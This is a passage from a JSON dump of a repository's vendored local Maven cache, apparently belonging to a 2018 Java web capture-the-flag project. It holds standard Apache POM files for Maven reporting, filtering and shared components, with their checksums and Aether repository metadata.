    "content": "<?xml version='1.0' encoding='UTF-8'?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.shared</groupId>\n    <artifactId>maven-shared-components</artifactId>\n    <version>15</version>\n  </parent>\n\n  <groupId>org.apache.maven.reporting</groupId>\n  <artifactId>maven-reporting-api</artifactId>\n  <version>3.0</version>\n\n  <name>Maven Reporting API</name>\n  <description>API to manage report generation.</description>\n\n  <developers>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vincent.siveton@gmail.com</email>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n  </developers>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-reporting-api-3.0</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-reporting-api-3.0</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-reporting-api-3.0</url>\n  </scm>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED/component/14413</url>\n  </issueManagement>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-sink-api</artifactId>\n      <version>1.0</version>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/3.0/maven-reporting-api-3.0.pom.sha1",
    "content": "eca7bd81ad86e6d8a978f37e1d077fee5c59d41e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-exec/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-reporting-exec-1.1.pom>central=\nmaven-reporting-exec-1.1.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-exec/1.1/maven-reporting-exec-1.1.jar.sha1",
    "content": "6e584f7a77d08716e703aae223809e22cbba3af7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-exec/1.1/maven-reporting-exec-1.1.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<!--\n  Licensed to the Apache Software Foundation (ASF) under one\n  or more contributor license agreements.  See the NOTICE file\n  distributed with this work for additional information\n  regarding copyright ownership.  The ASF licenses this file\n  to you under the Apache License, Version 2.0 (the\n  \"License\"); you may not use this file except in compliance\n  with the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing,\n  software distributed under the License is distributed on an\n  \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  KIND, either express or implied.  See the License for the\n  specific language governing permissions and limitations\n  under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.shared</groupId>\n    <artifactId>maven-shared-components</artifactId>\n    <version>19</version>\n    <relativePath>../maven-shared-components/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.reporting</groupId>\n  <artifactId>maven-reporting-exec</artifactId>\n  <version>1.1</version>\n\n  <name>Maven Reporting Executor</name>\n  <description>Classes to manage report plugin executions with Maven 3.</description>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-reporting-exec-1.1</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-reporting-exec-1.1</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-reporting-exec-1.1</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED/component/14716</url>\n  </issueManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path}</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <mavenVersion>3.0</mavenVersion>\n    <plexusVersion>1.5.4</plexusVersion>\n    <maven.site.path>shared-archives/maven-reporting-exec-LATEST</maven.site.path>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven.reporting</groupId>\n      <artifactId>maven-reporting-api</artifactId>\n      <version>3.0</version>\n    </dependency>\n\n    <!-- Maven -->\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-core</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings-builder</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.shared</groupId>\n      <artifactId>maven-shared-utils</artifactId>\n      <version>0.3</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-annotations</artifactId>\n    </dependency>\n\n    <!-- Sonatype Aether for Maven 3.0.x -->\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-api</artifactId>\n      <version>1.7</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-util</artifactId>\n      <version>1.7</version>\n    </dependency>\n\n    <!-- Eclipse Aether for Maven 3.1.x -->\n    <dependency>\n      <groupId>org.eclipse.aether</groupId>\n      <artifactId>aether-api</artifactId>\n      <version>0.9.0.M2</version>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.eclipse.aether</groupId>\n      <artifactId>aether-util</artifactId>\n      <version>0.9.0.M2</version>\n    </dependency>\n\n    <!-- test -->\n    <dependency>\n      <groupId>org.apache.maven.plugin-testing</groupId>\n      <artifactId>maven-plugin-testing-harness</artifactId>\n      <version>2.0-alpha-1</version>\n      <scope>test</scope>\n      <exclusions>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-container-default</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.8.2</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-compat</artifactId>\n      <version>${mavenVersion}</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-embedder</artifactId>\n      <version>${mavenVersion}</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-aether-provider</artifactId>\n      <version>${mavenVersion}</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-connector-wagon</artifactId>\n      <version>1.7</version>\n      <scope>test</scope>\n      <exclusions>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-container-default</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-http-lightweight</artifactId>\n      <version>1.0</version>\n      <scope>test</scope>\n      <exclusions>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-container-default</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>com.google.guava</groupId>\n      <artifactId>guava</artifactId>\n      <version>r07</version>\n      <scope>test</scope>\n    </dependency>\n\n\n    <dependency>\n      <groupId>org.apache.maven.doxia</groupId>\n      <artifactId>doxia-site-renderer</artifactId>\n      <version>1.1.4</version>\n      <scope>test</scope>\n      <exclusions>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-container-default</artifactId>\n        </exclusion>\n        <exclusion>\n          <groupId>org.apache.velocity</groupId>\n          <artifactId>velocity</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n\n    <dependency>\n      <groupId>org.sonatype.sisu</groupId>\n      <artifactId>sisu-inject-plexus</artifactId>\n      <version>2.2.0</version>\n      <scope>provided</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-velocity</artifactId>\n      <version>1.1.8</version>\n      <scope>test</scope>\n      <exclusions>\n        <exclusion>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-container-default</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n\n    <dependency>\n      <groupId>org.apache.velocity</groupId>\n      <artifactId>velocity</artifactId>\n      <version>1.5</version>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>velocity</groupId>\n      <artifactId>velocity</artifactId>\n      <version>1.5</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <systemPropertyVariables>\n            <localRepository>${settings.localRepository}</localRepository>\n            <mavenHome>${env.M2_HOME}</mavenHome>\n          </systemPropertyVariables>\n          <!--\n          <forkMode>none</forkMode>\n          -->\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>generate-metadata</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <id>ensure-no-container-api</id>\n            <configuration>\n              <rules>\n                <bannedDependencies>\n                  <excludes>\n                    <exclude>org.codehaus.plexus:plexus-component-api</exclude>\n                    <exclude>org.codehaus.plexus:plexus-container-default</exclude>\n                  </excludes>\n                  <message>The new containers are not supported. You probably added a dependency that is missing the exclusions.</message>\n                </bannedDependencies>\n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-invoker-plugin</artifactId>\n        <configuration>\n          <debug>true</debug>\n          <projectsDirectory>src/it</projectsDirectory>\n          <cloneProjectsTo>${project.build.directory}/it</cloneProjectsTo>\n          <preBuildHookScript>setup</preBuildHookScript>\n          <postBuildHookScript>verify</postBuildHookScript>\n          <localRepositoryPath>${project.build.directory}/local-repo</localRepositoryPath>\n          <settingsFile>src/it/settings.xml</settingsFile>\n          <pomIncludes>\n            <pomInclude>*/pom.xml</pomInclude>\n          </pomIncludes>\n        </configuration>\n        <executions>\n          <execution>\n            <id>integration-test</id>\n            <goals>\n              <goal>install</goal>\n              <goal>integration-test</goal>\n              <goal>verify</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-exec/1.1/maven-reporting-exec-1.1.pom.sha1",
    "content": "df01324810b26bb575e9cad5bfba25c7697ef51b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.0-beta-2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:20 CST 2018\nmaven-filtering-1.0-beta-2.jar>central=\nmaven-filtering-1.0-beta-2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.0-beta-2/maven-filtering-1.0-beta-2.jar.sha1",
    "content": "3eafeaced4cbc35e2a7bdb0c8ec4a82d881ab1d6"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.0-beta-2/maven-filtering-1.0-beta-2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  Licensed to the Apache Software Foundation (ASF) under one\n  or more contributor license agreements.  See the NOTICE file\n  distributed with this work for additional information\n  regarding copyright ownership.  The ASF licenses this file\n  to you under the Apache License, Version 2.0 (the\n  \"License\"); you may not use this file except in compliance\n  with the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing,\n  software distributed under the License is distributed on an\n  \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  KIND, either express or implied.  See the License for the\n  specific language governing permissions and limitations\n  under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.maven.shared</groupId>\n    <artifactId>maven-shared-components</artifactId>\n    <version>10</version>\n  </parent>\n\n  <prerequisites>\n    <maven>2.0.6</maven>\n  </prerequisites>\n\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.maven.shared</groupId>\n  <artifactId>maven-filtering</artifactId>\n  <packaging>jar</packaging>\n  <version>1.0-beta-2</version>\n\n  <name>Maven Filtering</name>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED/component/13380</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-filtering-1.0-beta-2</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-filtering-1.0-beta-2</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-filtering-1.0-beta-2</url>\n  </scm>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0-beta-7</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <version>1.3.4</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n      <version>2.0.6</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-core</artifactId>\n      <version>2.0.6</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n      <version>2.0.6</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>2.0.6</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-monitor</artifactId>\n      <version>2.0.6</version>\n    </dependency>            \n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n      <version>2.0.6</version>\n    </dependency>        \n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-9-stable-1</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>1.5.6</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n      <version>1.6</version>\n    </dependency>\n  </dependencies>\n  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.0-beta-2/maven-filtering-1.0-beta-2.pom.sha1",
    "content": "c4bbeb1f9e960134af0761a633fb37197ad97ec7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-filtering-1.1.jar>central=\nmaven-filtering-1.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.1/maven-filtering-1.1.jar.sha1",
    "content": "c223ff4ef9e9b3b51b2c9310dda59527a4b85baf"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.1/maven-filtering-1.1.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<!--\n  Licensed to the Apache Software Foundation (ASF) under one\n  or more contributor license agreements.  See the NOTICE file\n  distributed with this work for additional information\n  regarding copyright ownership.  The ASF licenses this file\n  to you under the Apache License, Version 2.0 (the\n  \"License\"); you may not use this file except in compliance\n  with the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing,\n  software distributed under the License is distributed on an\n  \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  KIND, either express or implied.  See the License for the\n  specific language governing permissions and limitations\n  under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven.shared</groupId>\n    <artifactId>maven-shared-components</artifactId>\n    <version>17</version>\n    <relativePath>../maven-shared-components/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.shared</groupId>\n  <artifactId>maven-filtering</artifactId>\n  <version>1.1</version>\n  <packaging>jar</packaging>\n\n  <name>Maven Filtering</name>\n  <description>A component to assist in filtering of resource files with properties from a Maven project.</description>\n\n  <prerequisites>\n    <maven>2.0.6</maven>\n  </prerequisites>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-filtering-1.1</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-filtering-1.1</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/shared/tags/maven-filtering-1.1</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/MSHARED/component/13380</url>\n  </issueManagement>\n  \n  <properties>\n    <mavenVersion>2.0.6</mavenVersion>\n  </properties>\n\n  <contributors>\n    <contributor>\n      <name>Graham Leggett</name>\n    </contributor>\n  </contributors>\n  \n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>junit</groupId>\n        <artifactId>junit</artifactId>\n        <version>3.8.1</version>\n        <scope>test</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-core</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-monitor</artifactId>\n      <version>${mavenVersion}</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n      <version>${mavenVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n      <version>1.0-alpha-9-stable-1</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>1.5.15</version>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n      <version>1.12</version>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.plexus</groupId>\n      <artifactId>plexus-build-api</artifactId>\n      <version>0.0.4</version>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.plexus</groupId>\n      <artifactId>plexus-build-api</artifactId>\n      <version>0.0.4</version>\n      <scope>test</scope>\n      <classifier>tests</classifier>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <version>1.3.4</version>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-changes-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <columnNames>Type,Key,Summary,Assignee,Status,Resolution,Created</columnNames>\n              <maxEntries>200</maxEntries>\n              <onlyCurrentVersion>true</onlyCurrentVersion>\n              <sortColumnNames>Key</sortColumnNames>\n              <versionPrefix>maven-filtering-</versionPrefix>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>jira-report</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.1/maven-filtering-1.1.pom.sha1",
    "content": "58f9827f70cc29dd6aed2477b6384f14462f9576"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/10/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:57 CST 2018\nmaven-shared-components-10.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/10/maven-shared-components-10.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>9</version>\n    <relativePath>../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.shared</groupId>\n  <artifactId>maven-shared-components</artifactId>\n  <version>10</version>\n  <packaging>pom</packaging>\n\n  <name>Maven Shared Components</name>\n  <description>Maven shared components</description>\n  <url>http://maven.apache.org/shared/</url>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://maven.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://maven.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Commits-f15575.html</otherArchive>\n        <otherArchive>http://maven.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <!-- duplication from parent pom - temporary until they inherit properly (MNG-3124) -->\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://maven.announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://maven.notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n<!--\n  <modules>\n    <module>file-management</module>\n    <module>maven-ant</module>\n    <module>maven-app-configuration</module>\n    <module>maven-archiver</module>\n    <module>maven-common-artifact-filters</module>\n    <module>maven-dependency-analyzer</module>\n    <module>maven-dependency-tree</module>\n    <module>maven-downloader</module>\n    <module>maven-doxia-tools</module>\n    <module>maven-filtering</module>\n    <module>maven-invoker</module>\n    <module>maven-model-converter</module>\n    <module>maven-osgi</module>\n    <module>maven-reporting-impl</module>\n    <module>maven-repository-builder</module>\n    <module>maven-runtime</module>\n    <module>maven-script</module>\n    <module>maven-shared-io</module>\n    <module>maven-shared-jar</module>\n    <module>maven-shared-monitor</module>\n    